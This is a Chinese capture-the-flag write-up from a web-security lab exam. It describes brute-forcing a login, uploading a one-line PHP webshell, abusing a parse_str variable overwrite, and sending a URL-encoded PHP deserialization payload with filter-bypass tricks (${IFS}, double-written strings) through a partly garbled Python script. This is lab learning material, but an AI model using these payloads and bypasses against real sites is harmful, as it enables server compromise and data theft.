極光網安實驗室web組考核WP

2021-09-26 19:43:01 字數 2275 閱讀 2029

開啟連線後看到登陸頁面,第一反應是sql注入,試過幾下之後才在原始碼中看到了hint

base64解密為「admin」,猜測為username,抓包扔進bp進行爆破,用bp自帶的字典就拿到了密碼

拿到了第乙個flag並跳轉到乙個檔案上傳頁面

抓包,傳入php檔案並修改檔案型別發現上傳成功,於是傳入一句話webshell,連上蟻劍

在look_here.txt中拿到第二個flag

第一題結束

開啟頁面啥都沒有,架起御劍掃瞄後台

審計**,發現存在有parse_str變數覆蓋漏洞,直接構造url進行嘗試

經過嘗試發現如圖url順利拿到第乙個flag

第乙個flag到手

繼續**審計,這裡很顯然是利用反序列化漏洞

利用$繞過空格過濾,用雙寫繞過字串過濾,這裡一定要在php中將序列化的結果進行一次urlencode,原因如下:

用下面的**進行試驗

import requests

from urllib.parse import urlencode

from urllib.parse import unquote

url =

""data=

'o%3a4%3a%22come%22%3a2%3a%7bs%3a11%3a%22%00come%00funcs%22%3bs%3a6%3a%22danger%22%3bs%3a10%3a%22%00come%00args%22%3ba%3a1%3a%7bi%3a0%3bs%3a27%3a%22%60cat%24%7bifs%7dflaflag.phpg.php%60%22%3b%7d%7d'

data1=

data2=

flaflag.phpg.php`";}}'

}print

(data1)

print

(data2)

print

(data)

print

(urlencode(data2)

)#a=requests.post(url,data=data1)

#print(a.content)

這裡可以看到,如果php中未進行urlencode,則造成了%00字元的丟失。而在php中進行urlencode之後再在py中unquote的話,則保留了\x00,所以可以post成功。

那為什麼會這樣呢?

因為本題裡的類成員為private,所以會在字串中摻入%00,而%00較為特殊,就導致了如果不在php裡進行urlencode就會缺失的情況。

附上成功提交的指令碼

import requests

from urllib.parse import urlencode

from urllib.parse import unquote

url =

""data1=

a=requests.post(url,data=data1)

print

(a.content)

ok!成功的成為了極光實驗室的一名菜雞。(要好好努力啊)

極光實驗室 web 考核wp

第一題略 不要問我為什麼emmmm 基本payload被構造好以後,接下來就開始想怎麼繞過 眼癌患者注意正則匹配裡還過濾了空格,所以想方法繞過 google一下發現bash命令繞過空格的方法很多 環境變數ifs 重定向都可 ifs 9 諸如此類,這裡選用 所以payload變成echo cat fl...

實驗室吃飯記賬系統web

不得不說,生活驅動學習啊。因為實驗室只有一張卡可以去教職工食堂吃飯,所以大家都共用一張卡,於是記賬就成了乙個不可避免的問題。之前都是簡單記紙上,經常容易忘記記賬而且算起賬來很麻煩,所以突然想到,我們都是要搞it的人啊,結合最近在學的python,就想著用python搞個web伺服器來記賬。說幹就幹 ...

華為實驗室

談到華為,大家都不陌生 世界500強 全球第二通訊 商,為全球140多個國家和地區的20多億人提供服務 同時也是全球ict領域的領導者。如此成就和至高無上的榮譽地位,其成功更是與實驗室無數個日夜的技術鑽研有著分不開的關係。關注過華為的朋友想必聽說過 2012實驗室 據稱,該實驗室的名字來自於任正非在...